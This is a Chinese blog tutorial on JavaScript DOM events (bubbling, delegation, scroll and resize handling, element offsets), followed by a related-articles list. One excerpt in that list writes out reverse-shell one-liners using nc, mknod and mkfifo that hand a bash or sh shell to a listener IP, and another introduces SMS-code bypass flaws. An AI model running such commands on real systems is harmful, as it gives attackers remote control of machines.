JavaScript —— APIs(三)

news2024/11/6 3:00:23

一、事件流

(一)定义

(二)事件捕获

事件捕获,对话框从大到小弹出,先弹出爷爷,最后弹出儿子

(三)事件冒泡

冒泡事件,对话框从小到大弹出,先弹出儿子,最后弹出爷爷

(四)阻止冒泡(阻止事件流动传播)

弹窗到儿子,就停止了,不再向上级弹窗

(五)解绑事件

1.  on 事件

 这样可以实现,第一次点击按钮弹窗,之后再点击按钮,就不再弹窗了

2.  addEventListener方式

L2 事件移除解绑

(六)鼠标经过事件的 区别

moseover 和 mouseout 有冒泡效果 ,鼠标经过子盒子时会显示鼠标离开

mouseenter 和 mouseleave 没有冒泡效果,可以实现鼠标经过子盒子时,不显示鼠标离开

(七)两种注册事件的区别

注意:L0 只有冒泡,没有捕获

二、事件委托(事件冒泡的应用)

通过事件对象 e 来实现

e . target 获取当前点击的那个对象

点上面蓝框中的东西会变颜色,点下面黄框中的东西不会变颜色

注意: e . target . tagName 可以获取到点击对象的标签名

【总结】

【tab栏切换改造】

1.  只有点a元素才会进行打印输出

2.  给点击的当前元素,添加 active 高亮效果

 3.  点击标题 a 元素,下面的图片跟着变换

①、 用 nth-child ( )

添加自定义属性,获取到每一个 li  

 获取到点击对象的自定义属性

取过来的是字符串型,加法之后得到的还是字符串型。

但是下面 nth-child ( )的括号中需要数字型,所以获取时需要转变一下。

否则运行时会出错

注意: nth-child ( )是从1开始的,所以要给 i 加1

②、 将 item 变为一个数组,然后用数组

获取5个 item ,将其作为一个伪数组

三、 【总结】

四、阻止元素默认行为

五、其他事件

(一)页面加载事件

1.  load 需要等图片加载完毕后,再去执行回调函数

2.  DOMContentLoaded 可以不等文件加载完就执行回调函数

3.  【总结】

注意:若是 JS 写在了 body 的上面,就必须写这两种方法中的一种

(二)元素滚动事件 

1.  定义

2.  scrollLeft 和 scrollTop 

scrollTop 滚动条滑动,被划到上面,被卷去的部分

scrollTop 可以知道页面到底滚动了多少像素,被卷去了多少

3.  document.documentElement.scrollTop 获取页面头部滚动值 

注意:document.documentElement  才能获得 html 标签

可以获得 html 元素滚动了多少

注意:获取 页面滚动的头部距离 的值必须写在滚动事件里面,每次页面滚动,都要获得一个新值

注意:document.documentElement.scrollTop 获取的值是可读写的,可以给它赋值,可以给它修改值

注意:document.documentElement.scrollTop 得到的数据是一个数字型,没有单位,所以赋值或者修改时都不要加单位

4.  scrollTo(x,y)

两种代码等价

5.  【页面滚动到一定位置,显示侧边导航栏】

①、侧边导航栏的显示与隐藏

【代码】

电梯导航栏 : 点黄框中的某一个模块,页面会对应滚动到对应蓝框的区域

侧边栏

想要实现侧边导航栏淡入淡出的效果,用 opacity

 注意:两种代码等价,下面代码更加简洁 

②、点击顶部按钮,返回到页面顶部

【代码】

(三)页面尺寸事件

1.  resize 浏览器窗口大小发生变化的时候触发的事件

 

2.  获取元素宽高

六、元素尺寸与位置 

 使用场景

1.  获取宽高和位置

①、offsetLeft offsetTop offsetWidth offsetHeight

【总结】

若父亲有定位,则以父亲为准

若父亲没有定位,则往上找,找最近的带有定位的父亲为准

②、element.getBoundingclientRect ( ) 

 注意:该方法是相对于视口来说的,若盒子滑到了可视口上面,则 top 值会变为负值

 2.【仿京东固定导航栏案例】

【代码】

3.【小滑块移动效果】

【代码】

4.【总结】

七、【综合案例】

注意:自执行函数 (在大括号中写代码)

1.  页面滑动可以显示和隐藏

2.  点击某个模块,某个模块添加高亮 

获取这个类名,如果这个类名里面有 active 属性,则 old 值为真,反之则为空

如果为真,下面的 if 语句中,就移除 old 属性的 active 值,反之则不执行

给当前元素加 active 属性

【代码】

3.  点击小盒子跳转到大盒子

注意:页面滚动 用 scroll top

           offset top 可以拿到盒子到顶部的距离

选择到对应的小盒子上,得到对应大盒子的类名,再给其加上 offsetTop 以获取大盒子到页面顶部的距离

【代码】

注意:不可以这样子写

只要写页面滚动就必须写这句话

4.  程序改进 

①、点击的这个元素,必须是 a 元素,并且必须是有自定义属性

若其没有自定义属性,则返回为空 (空是假的)

若有自定义属性,则返回他自定义属性的名称(一个字符串)

②、在 html 中加一个属性,直接实现页面滑动效果

让滚动条丝滑滚动

5.  滚动大盒子到对应位置,对应的小盒子显示选中效果

①、页面滚动了。先移除所有小盒子的被选中状态

②、页面滑动到对应位置,给对应侧边小盒子加上被选中效果

注意:当页面被卷去的头部 等于了 盒子的 offsetTop 的值,则说明页面滑到了这个位置

【总代码】

八、属性选择器

注意:该文本框拥有 value 这个属性

该  文本框拥有 type 这个属性,并且这个属性值是 text

好啦!本周的分享就到这里啦!我们下周同一时间同一地点不见不散!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613994.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】C++11 包装器

👀樊梓慕:个人主页 🎥个人专栏:《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 🌝每一个不曾起舞的日子,都是对生命的辜负 目录 前言 function包装器 fu…

大模型接口管理和分发系统One API

老苏就职于一家专注于音视频实时交互技术和智能算法的创新企业。公司通过提供全面的 SDK 和解决方案,助力用户轻松实现实时音视频通话和消息传递等功能。尽管公司网站上有详细的文档中心,但在实际开发中,仍面临大量咨询工作。 鉴于此&#x…

单页面首屏优化,打包后大小减少64M,加载速度快了13.6秒

需求背景 从第三方采购的vue2 ElementUI实现的云管平台,乙方说2011年左右就开始有这个项目了(那时候有Vue了吗,思考.jpg)。十几年的项目,我何德何能可以担此责任。里面的代码经过多人多年迭代可以用惨不忍睹来形容&a…

大模型培训老师叶梓:通过微调提升小型语言模型的复杂推理能力

在人工智能的快速发展中,复杂推理能力的提升一直是研究者们追求的目标。最近,一项发表在arXiv上的研究成果【1】,提出了一种创新的方法,即通过微调小型语言模型(LMs),并将其与大型语言模型&…

内旋风铣也挺有意思,不够还没搞透

内旋风铣,这一术语在机械制造业中并不陌生,它代表着一种高效且精确的加工方法。这一技术的名称“内旋风铣”便揭示了其两大核心特点:一是“内”,指的是在工件内部进行加工,通常涉及到难以触及的复杂曲面;二…

C语言趣味代码(二)

1.珠玑妙算 1.1 介绍 《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏,据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后,在1975年传入美国,1976年leslieH.Autl博士甚至还出版了一本名为The…

C++笔试强训day4

目录 1.游游的you 2.腐烂的苹果 3.孩子们的游戏 1.游游的you 链接: 分析题意之后,发现就是一道简单的贪心,当然也可以把他看作纯数学题。 因为you和oo里面都有o,但是you可以得两分,所以贪心策略尽可能的去凑更多的…

千锤百炼之算法Scanner和System.out引起超时解决办法

题外话 觉得这个内容还是很关键的,过来写一下吧 本次内容有点抽象大家试着听一下 正题 做过算法题的人都知道,无论是在力扣还是牛客或者别的网站刷题,很多情况下都会遇到输入输出的情况,当我们用Scanner和System.out.print()就有可能产生超时问题 如下图 接下来会有一段代…

王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

好嘞,游戏开发框架是js 开发的网页小游戏! phaser这个框架。好我们先上图! 目前大概是这么一个样子。 然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。 我们的小人物是这样的代码 遇到的问题如下; 小白刚开始…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案,当时做的是ffmpeg内核版本,由于ffmpeg内核解析都是代码实现,所以无缝切换非常完美,看不到丝毫的中间切换过程,看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法,…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书,其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系:黑皮书涵盖了计算机科学的多个领域,如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测!!! 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐,播放器,下载,播放,DJ,免费,mp3,高音质,…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名,这个路径可以存在,也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理: 服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制。 危害:在相关业务中危害也不同,如找回密码,注册,电话换绑等地方即可形成高危漏洞,如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…